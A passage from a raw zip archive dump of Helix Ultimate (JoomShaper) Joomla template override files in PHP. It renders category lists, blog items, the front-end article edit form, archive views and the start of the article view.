		</div>
	<?php endif; ?>

	<?php if (!empty($this->link_items)) : ?>
		<div class="articles-more mb-4">
			<?php echo $this->loadTemplate('links'); ?>
		</div>
	<?php endif; ?>

	<?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?>
		<div class="cat-children mb-4">
			<?php if ($this->params->get('show_category_heading_title_text', 1) == 1) : ?>
				<h3> <?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?> </h3>
			<?php endif; ?>
			<?php echo $this->loadTemplate('children'); ?>
		</div>
	<?php endif; ?>

	<?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
		<nav class="pagination-wrapper d-lg-flex justify-content-between w-100">
			<?php echo $this->pagination->getPagesLinks(); ?>
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<div class="pagination-counter text-muted mb-4">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</div>
			<?php endif; ?>
		</nav>
	<?php endif; ?>
</div>
PK!��_pww8helixultimate/overrides/com_content/category/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
// HTMLHelper::_('behavior.caption');

?>
<div class="category-list<?php echo $this->pageclass_sfx; ?>">
    <?php
        $this->subtemplatename = 'articles';
        echo LayoutHelper::render('joomla.content.category_default', $this);
    ?>
</div>
PK!��-��>helixultimate/overrides/com_content/category/blog_children.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$class = ' class="first"';
$lang  = Factory::getLanguage();

if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) : ?>

	<?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
		<?php
		if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) :
			if (!isset($this->children[$this->category->id][$id + 1])) :
				$class = ' class="last"';
			endif;
		?>
		<div<?php echo $class; ?>>
			<?php $class = ''; ?>
			<?php if ($lang->isRtl()) : ?>
			<h3 class="page-header item-title">
				<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
					<span class="badge bg-info tip hasTooltip" title="<?php echo HTMLHelper::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
						<?php echo $child->getNumItems(true); ?>
					</span>
				<?php endif; ?>
				<a href="<?php echo Route::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
				<?php echo $this->escape($child->title); ?></a>

				<?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
					<a href="#category-<?php echo $child->id; ?>" data-bs-toggle="collapse" data-bs-toggle="button" class="btn btn-xs float-end"><span class="icon-plus"></span></a>
				<?php endif; ?>
			</h3>
			<?php else : ?>
			<h3 class="page-header item-title"><a href="<?php echo Route::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
				<?php echo $this->escape($child->title); ?></a>
				<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
					<span class="badge bg-info tip hasTooltip" title="<?php echo HTMLHelper::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
						<?php echo Text::_('COM_CONTENT_NUM_ITEMS'); ?>&nbsp;
						<?php echo $child->getNumItems(true); ?>
					</span>
				<?php endif; ?>

				<?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
					<a href="#category-<?php echo $child->id; ?>" data-bs-toggle="collapse" data-bs-toggle="button" class="btn btn-xs float-end"><span class="icon-plus"></span></a>
				<?php endif; ?>
			</h3>
			<?php endif; ?>

			<?php if ($this->params->get('show_subcat_desc') == 1) : ?>
			<?php if ($child->description) : ?>
				<div class="category-desc">
					<?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_content.category'); ?>
				</div>
			<?php endif; ?>
			<?php endif; ?>

			<?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
			<div class="collapse fade" id="category-<?php echo $child->id; ?>">
				<?php
				$this->children[$child->id] = $child->getChildren();
				$this->category = $child;
				$this->maxLevel--;
				echo $this->loadTemplate('children');
				$this->category = $child->getParent();
				$this->maxLevel++;
				?>
			</div>
			<?php endif; ?>
		</div>
		<?php endif; ?>
	<?php endforeach; ?>
<?php endif;PK!��I^��:helixultimate/overrides/com_content/category/blog_item.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

// Create a shortcut for params.
$params = $this->item->params;
$attribs = json_decode($this->item->attribs);
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$canEdit = $this->item->params->get('access-edit');
$info    = $params->get('info_block_position', 0);
$article_format = (isset($attribs->helix_ultimate_article_format) && $attribs->helix_ultimate_article_format) ? $attribs->helix_ultimate_article_format : 'standard';

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$tmpl_params = $template->params;

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));

$currentDate   = Factory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = JVERSION < 4 ? ($this->item->state == 0 || strtotime($this->item->publish_up) > strtotime(JFactory::getDate()) || ((strtotime($this->item->publish_down) < strtotime(JFactory::getDate())) && $this->item->publish_down != JFactory::getDbo()->getNullDate())) : ($this->item->state == Joomla\Component\Content\Administrator\Extension\ContentComponent::CONDITION_UNPUBLISHED || $this->item->publish_up > $currentDate)
	|| ($this->item->publish_down < $currentDate && $this->item->publish_down !== null);

?>

<?php if($article_format == 'gallery') : ?>
	<?php echo LayoutHelper::render('joomla.content.blog.gallery', array('attribs' => $attribs, 'id'=>$this->item->id)); ?>
<?php elseif($article_format == 'video') : ?>
	<?php echo LayoutHelper::render('joomla.content.blog.video', array('attribs' => $attribs)); ?>
<?php elseif($article_format == 'audio') : ?>
	<?php echo LayoutHelper::render('joomla.content.blog.audio', array('attribs' => $attribs)); ?>
<?php else: ?>
	<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>
<?php endif; ?>

<div class="article-body">
	<?php if ($isUnpublished) : ?>
		<div class="system-unpublished">
	<?php endif; ?>

	<?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $this->item); ?>

	<?php // Todo Not that elegant would be nice to group the params ?>
	<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
		|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

	<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
	  <?php echo LayoutHelper::render('joomla.content.info_block', array('item' => $this->item, 'params' => $params, 'position' => 'above', 'intro' => true)); ?>
	<?php endif; ?>

	<?php if ($params->get('show_tags', 1) && !$tmpl_params->get('show_list_tags',0) && !empty($this->item->tags->itemTags)) : ?>
		<?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
		<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
	<?php endif; ?>
	
	<?php if (!$params->get('show_intro')) : ?>
		<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
		<?php echo $this->item->event->afterDisplayTitle; ?>
	<?php endif; ?>

	<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
	<?php echo $this->item->event->beforeDisplayContent; ?>

	<div class="article-introtext">
		<?php echo $this->item->introtext; ?>
	</div>

	<?php if ($useDefList && ($info == 1)) : ?>
		<?php echo LayoutHelper::render('joomla.content.info_block', array('item' => $this->item, 'params' => $params, 'position' => 'below', 'intro' => true)); ?>
	<?php endif; ?>

	<?php if ($params->get('show_readmore') && $this->item->readmore) :
		if ($params->get('access-view')) :
			$link = Route::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
		else :
			$menu = Factory::getApplication()->getMenu();
			$active = $menu->getActive();
			$itemId = $active->id;
			$link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
			$link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
		endif; ?>

		<?php echo LayoutHelper::render('joomla.content.readmore', array('item' => $this->item, 'params' => $params, 'link' => $link)); ?>

	<?php endif; ?>

	<?php if ($isUnpublished) : ?>
		</div>
	<?php endif; ?>
</div>

<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
<?php echo $this->item->event->afterDisplayContent; ?>
PK!��Ɖ"�"1helixultimate/overrides/com_content/form/edit.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

$doc = Factory::getDocument();

$cssPath = Uri::base() . '/plugins/system/helixultimate/assets/css/frontend-editor.css';
$doc->addStylesheet($cssPath);

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');

if (JVERSION < 4)
{
	HTMLHelper::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0));
}

$this->tab_name = 'com-content-form';
$this->ignore_fieldsets = array('image-intro', 'image-full', 'jmetadata', 'item_associations');

// Create shortcut to parameters.
$params = $this->state->get('params');

//Blog Options
$attribs = json_decode($this->item->attribs);

$this->form->setValue('helix_ultimate_image', 'attribs', !empty($attribs->helix_ultimate_image) ? $attribs->helix_ultimate_image : '');
$this->form->setValue('helix_ultimate_article_format', 'attribs', !empty($attribs->helix_ultimate_article_format) ? $attribs->helix_ultimate_article_format : 'standard');
$this->form->setValue('helix_ultimate_audio', 'attribs', !empty($attribs->helix_ultimate_audio) ? $attribs->helix_ultimate_audio : '');
$this->form->setValue('helix_ultimate_gallery', 'attribs', !empty($attribs->helix_ultimate_gallery) ? $attribs->helix_ultimate_gallery : '');
$this->form->setValue('helix_ultimate_video', 'attribs', !empty($attribs->helix_ultimate_video) ? $attribs->helix_ultimate_video : '');

// This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings.
$editoroptions = isset($params->show_publishing_options);

if (!$editoroptions)
{
	$params->show_urls_images_frontend = '0';
}

$jversion = "";

if (JVERSION >= 4) {
	$jversion = 'joomla4';
}

?>
<div class="hu-content-edit edit item-page<?php echo $this->pageclass_sfx . ' ' . $jversion ; ?>">
	<?php if ($params->get('show_page_heading')): ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif ?>

	<form action="<?php echo Route::_('index.php?option=com_content&a_id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate form-vertical com-content-adminForm">
		<fieldset>
			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.startTabSet', $this->tab_name, array('active' => 'editor')); ?>
			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.addTab', $this->tab_name, 'editor', Text::_('COM_CONTENT_ARTICLE_CONTENT')); ?>
				<?php echo $this->form->renderField('title'); ?>

				<?php if (is_null($this->item->id)) : ?>
					<?php echo $this->form->renderField('alias'); ?>
				<?php endif; ?>

				<?php echo $this->form->getInput('articletext'); ?>

				<?php if ($this->captchaEnabled) : ?>
					<?php echo $this->form->renderField('captcha'); ?>
				<?php endif; ?>
			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.endTab'); ?>
			
			<?php if ($params->get('show_urls_images_frontend')) : ?>
			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.addTab', $this->tab_name, 'images', Text::_('COM_CONTENT_IMAGES_AND_URLS')); ?>
			
				<div class="row">
					<div class="col-sm-6 mb-3">
						<?php echo $this->form->renderField('image_intro', 'images'); ?>
						<?php echo $this->form->renderField('image_intro_alt', 'images'); ?>
						<?php echo $this->form->renderField('image_intro_caption', 'images'); ?>
						<?php echo $this->form->renderField('float_intro', 'images'); ?>
					</div>

					<div class="col-sm-6">
						<?php echo $this->form->renderField('image_fulltext', 'images'); ?>
						<?php echo $this->form->renderField('image_fulltext_alt', 'images'); ?>
						<?php echo $this->form->renderField('image_fulltext_caption', 'images'); ?>
						<?php echo $this->form->renderField('float_fulltext', 'images'); ?>
					</div>
				</div>

				<hr>

				<div class="row">
					<div class="col-sm-4 mb-3">
						<?php echo $this->form->renderField('urla', 'urls'); ?>
						<?php echo $this->form->renderField('urlatext', 'urls'); ?>
						<div class="control-group">
							<div class="controls">
								<?php echo $this->form->getInput('targeta', 'urls'); ?>
							</div>
						</div>
					</div>

					<div class="col-sm-4 mb-3">
						<?php echo $this->form->renderField('urlb', 'urls'); ?>
						<?php echo $this->form->renderField('urlbtext', 'urls'); ?>
						<div class="control-group">
							<div class="controls">
								<?php echo $this->form->getInput('targetb', 'urls'); ?>
							</div>
						</div>
					</div>

					<div class="col-sm-4 mb-3">
						<?php echo $this->form->renderField('urlc', 'urls'); ?>
						<?php echo $this->form->renderField('urlctext', 'urls'); ?>
						<div class="control-group">
							<div class="controls">
								<?php echo $this->form->getInput('targetc', 'urls'); ?>
							</div>
						</div>
					</div>
				</div>
				
			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.endTab'); ?>
			<?php endif; ?>

			<?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.addTab', $this->tab_name, 'publishing', Text::_('COM_CONTENT_PUBLISHING')); ?>
				<?php echo $this->form->renderField('catid'); ?>
				<?php echo $this->form->renderField('tags'); ?>
				<?php if ($params->get('save_history', 0)) : ?>
					<?php echo $this->form->renderField('version_note'); ?>
				<?php endif; ?>
				
				<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
					<?php echo $this->form->renderField('created_by_alias'); ?>
				<?php endif; ?>
				
				<?php if ($this->item->params->get('access-change')) : ?>
					<?php echo $this->form->renderField('state'); ?>
					<?php echo $this->form->renderField('featured'); ?>
					<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
						<?php echo $this->form->renderField('publish_up'); ?>
						<?php echo $this->form->renderField('publish_down'); ?>
					<?php endif; ?>
				<?php endif; ?>
				
				<?php echo $this->form->renderField('access'); ?>
				<?php if (is_null($this->item->id)) : ?>
					<div class="control-group">
						<div class="control-label">
						</div>
						<div class="controls">
							<?php echo Text::_('COM_CONTENT_ORDERING'); ?>
						</div>
					</div>
				<?php endif; ?>
			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.endTab'); ?>
			
			<?php if (JVERSION < 4): ?>
				<?php echo HTMLHelper::_('bootstrap.addTab', $this->tab_name, 'language', Text::_('JFIELD_LANGUAGE_LABEL')); ?>
					<?php echo $this->form->renderField('language'); ?>
				<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
			<?php else: ?>
				<?php if (Multilanguage::isEnabled()) : ?>
					<?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'language', Text::_('JFIELD_LANGUAGE_LABEL')); ?>
						<?php echo $this->form->renderField('language'); ?>
					<?php echo HTMLHelper::_('uitab.endTab'); ?>
				<?php else: ?>
					<?php echo $this->form->renderField('language'); ?>
				<?php endif; ?>
			<?php endif ?>

			<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
				<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.addTab', $this->tab_name, 'metadata', Text::_('COM_CONTENT_METADATA')); ?>
					<?php echo $this->form->renderField('metadesc'); ?>
					<?php echo $this->form->renderField('metakey'); ?>
				<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.endTab'); ?>
			<?php endif; ?>

			<?php echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.endTabSet'); ?>

			<input type="hidden" name="task" value="">
			<input type="hidden" name="return" value="<?php echo $this->return_page; ?>">
			<?php echo HTMLHelper::_('form.token'); ?>
		</fieldset>
		<div class="btn-toolbar mt-2">
				<button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('article.save')">
					<span class="fas fa-check" aria-hidden="true"></span> <?php echo Text::_('JSAVE') ?>
				</button>
				<button type="button" class="btn btn-secondary ms-2" onclick="Joomla.submitbutton('article.cancel')">
					<span class="fas fa-times" aria-hidden="true"></span> <?php echo Text::_('JCANCEL') ?>
				</button>
			<?php if ($params->get('save_history', 0) && $this->item->id) : ?>
				<?php echo $this->form->getInput('contenthistory'); ?>
			<?php endif; ?>
		</div>
	</form>
</div>
PK!�}v.�"�"=helixultimate/overrides/com_content/archive/default_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
$params = $this->params;
?>

<div id="archive-items">
	<?php foreach ($this->items as $i => $item) : ?>
		<?php $info = $item->params->get('info_block_position', 0); ?>
		<div class="row<?php echo $i % 2; ?>" itemscope itemtype="https://schema.org/Article">
			<div class="page-header">
				<h2 itemprop="headline">
					<?php if ($params->get('link_titles')) : ?>
						<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>" itemprop="url">
							<?php echo $this->escape($item->title); ?>
						</a>
					<?php else : ?>
						<?php echo $this->escape($item->title); ?>
					<?php endif; ?>
				</h2>

				<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
				<?php echo $item->event->afterDisplayTitle; ?>

				<?php if ($params->get('show_author') && !empty($item->author )) : ?>
					<div class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">
					<?php $author = $item->created_by_alias ?: $item->author; ?>
					<?php $author = '<span itemprop="name">' . $author . '</span>'; ?>
						<?php if (!empty($item->contact_link) && $params->get('link_author') == true) : ?>
							<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', HTMLHelper::_('link', $this->item->contact_link, $author, array('itemprop' => 'url'))); ?>
						<?php else : ?>
							<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
						<?php endif; ?>
					</div>
				<?php endif; ?>
			</div>
		<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
			|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category')); ?>
		<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
			<div class="article-info">
				<?php if ($params->get('show_parent_category') && !empty($item->parent_slug)) : ?>
					<span class="parent-category-name">
						<?php $title = $this->escape($item->parent_title); ?>
						<?php if ($params->get('link_parent_category') && !empty($item->parent_slug)) : ?>
							<?php $url = '<a href="' . Route::_(ContentHelperRoute::getCategoryRoute($item->parent_slug)) . '" itemprop="genre">' . $title . '</a>'; ?>
							<?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
						<?php else : ?>
							<?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
						<?php endif; ?>
					</span>
				<?php endif; ?>
				<?php if ($params->get('show_category')) : ?>
					<span class="category-name">
						<?php $title = $this->escape($item->category_title); ?>
						<?php if ($params->get('link_category') && $item->catslug) : ?>
							<?php $url = '<a href="' . Route::_(ContentHelperRoute::getCategoryRoute($item->catslug)) . '" itemprop="genre">' . $title . '</a>'; ?>
							<?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?>
						<?php else : ?>
							<?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
						<?php endif; ?>
					</span>
				<?php endif; ?>

				<?php if ($params->get('show_publish_date')) : ?>
					<span class="published">
						<time datetime="<?php echo HTMLHelper::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
							<?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $item->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>
						</time>
					</span>
				<?php endif; ?>

				<?php if ($info == 0) : ?>
					<?php if ($params->get('show_modify_date')) : ?>
						<span class="modified">
							<time datetime="<?php echo HTMLHelper::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
								<?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
							</time>
						</span>
					<?php endif; ?>
					<?php if ($params->get('show_create_date')) : ?>
						<span class="create">
							<time datetime="<?php echo HTMLHelper::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
								<?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC3'))); ?>
							</time>
						</span>
					<?php endif; ?>

					<?php if ($params->get('show_hits')) : ?>
						<span class="hits">
							<meta itemprop="interactionCount" content="UserPageVisits:<?php echo $item->hits; ?>">
							<?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
						</span>
					<?php endif; ?>
				<?php endif; ?>
			</div>
		<?php endif; ?>

		<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
		<?php echo $item->event->beforeDisplayContent; ?>
		<?php if ($params->get('show_intro')) : ?>
			<div class="intro" itemprop="articleBody"> <?php echo HTMLHelper::_('string.truncateComplex', $item->introtext, $params->get('introtext_limit')); ?> </div>
		<?php endif; ?>

		<?php if ($useDefList && ($info == 1 || $info == 2)) : ?>
			<div class="article-info">
				<?php if ($info == 1) : ?>
					<?php if ($params->get('show_parent_category') && !empty($item->parent_slug)) : ?>
						<span class="parent-category-name">
							<?php $title = $this->escape($item->parent_title); ?>
							<?php if ($params->get('link_parent_category') && $item->parent_slug) : ?>
								<?php $url = '<a href="' . Route::_(ContentHelperRoute::getCategoryRoute($item->parent_slug)) . '" itemprop="genre">' . $title . '</a>'; ?>
								<?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
							<?php else : ?>
								<?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
							<?php endif; ?>
						</span>
					<?php endif; ?>
					<?php if ($params->get('show_category')) : ?>
						<span class="category-name">
							<?php $title = $this->escape($item->category_title); ?>
							<?php if ($params->get('link_category') && $item->catslug) : ?>
								<?php $url = '<a href="' . Route::_(ContentHelperRoute::getCategoryRoute($item->catslug)) . '" itemprop="genre">' . $title . '</a>'; ?>
								<?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?>
							<?php else : ?>
								<?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
							<?php endif; ?>
						</span>
					<?php endif; ?>
					<?php if ($params->get('show_publish_date')) : ?>
						<span class="published">
							<time datetime="<?php echo HTMLHelper::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
								<?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $item->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>
							</time>
						</span>
					<?php endif; ?>
				<?php endif; ?>

				<?php if ($params->get('show_create_date')) : ?>
					<span class="create">
						<time datetime="<?php echo HTMLHelper::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
							<?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
						</time>
					</span>
				<?php endif; ?>
				<?php if ($params->get('show_modify_date')) : ?>
					<span class="modified">
						<time datetime="<?php echo HTMLHelper::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
							<?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
						</time>
					</span>
				<?php endif; ?>
				<?php if ($params->get('show_hits')) : ?>
					<span class="hits">
						<meta content="UserPageVisits:<?php echo $item->hits; ?>" itemprop="interactionCount">
						<?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
					</span>
				<?php endif; ?>
			</div>
		<?php endif; ?>
		<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
		<?php echo $item->event->afterDisplayContent; ?>
	</div>
	<?php endforeach; ?>
</div>

<?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
	<nav class="pagination-wrapper d-lg-flex justify-content-between w-100">
		<?php echo $this->pagination->getPagesLinks(); ?>
		<?php if ($this->params->def('show_pagination_results', 1)) : ?>
			<div class="pagination-counter text-muted mb-4">
				<?php echo $this->pagination->getPagesCounter(); ?>
			</div>
		<?php endif; ?>
	</nav>
<?php endif; ?>
PK!�ӳx��7helixultimate/overrides/com_content/archive/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');
?>
<div class="archive<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form id="adminForm" action="<?php echo Route::_('index.php'); ?>" method="post">
		<fieldset class="filters">
			<div class="filter-search row g-3 align-items-center mb-4">
				<?php if ($this->params->get('filter_field') !== 'hide') : ?>
					<div class="col-auto">
						<label class="filter-search-lbl visually-hidden" for="filter-search"><?php echo Text::_('COM_CONTENT_TITLE_FILTER_LABEL') . '&#160;'; ?></label>
						<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->filter); ?>" class="inputbox col-lg-2" onchange="document.getElementById('adminForm').submit();" placeholder="<?php echo Text::_('COM_CONTENT_TITLE_FILTER_LABEL'); ?>">
					</div>
				<?php endif; ?>

				<div class="col-auto">
					<?php echo $this->form->monthField; ?>
				</div>

				<div class="col-auto">
					<?php echo $this->form->yearField; ?>
				</div>
				
				<div class="col-auto">
					<?php echo $this->form->limitField; ?>
				</div>
				
				<div class="col-auto">
					<button type="submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
				</div>

				<input type="hidden" name="view" value="archive">
				<input type="hidden" name="option" value="com_content">
				<input type="hidden" name="limitstart" value="0">
			</div>
		</fieldset>

		<?php echo $this->loadTemplate('items'); ?>
	</form>
</div>
PK!+Z��%�%7helixultimate/overrides/com_content/article/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$tmpl_params = $template->params;

$relatedArticles = [];
if ($tmpl_params->get('related_article'))
{
	$args['catId'] =  $this->item->catid;
	$args['maximum'] = $tmpl_params->get('related_article_limit');
	$args['itemTags'] = $this->item->tags->itemTags;
	$args['item_id'] = $this->item->id;
	$relatedArticles = HelixUltimate\Framework\Core\HelixUltimate::getRelatedArticles($args);
}

// Create shortcuts to some parameters.
$params  = $this->item->params;
$images  = json_decode($this->item->images);
$urls    = json_decode($this->item->urls);
$canEdit = $params->get('access-edit');
$user    = Factory::getUser();
$info    = $params->get('info_block_position', 0);
$page_header_tag = 'h1';
$attribs = json_decode($this->item->attribs);
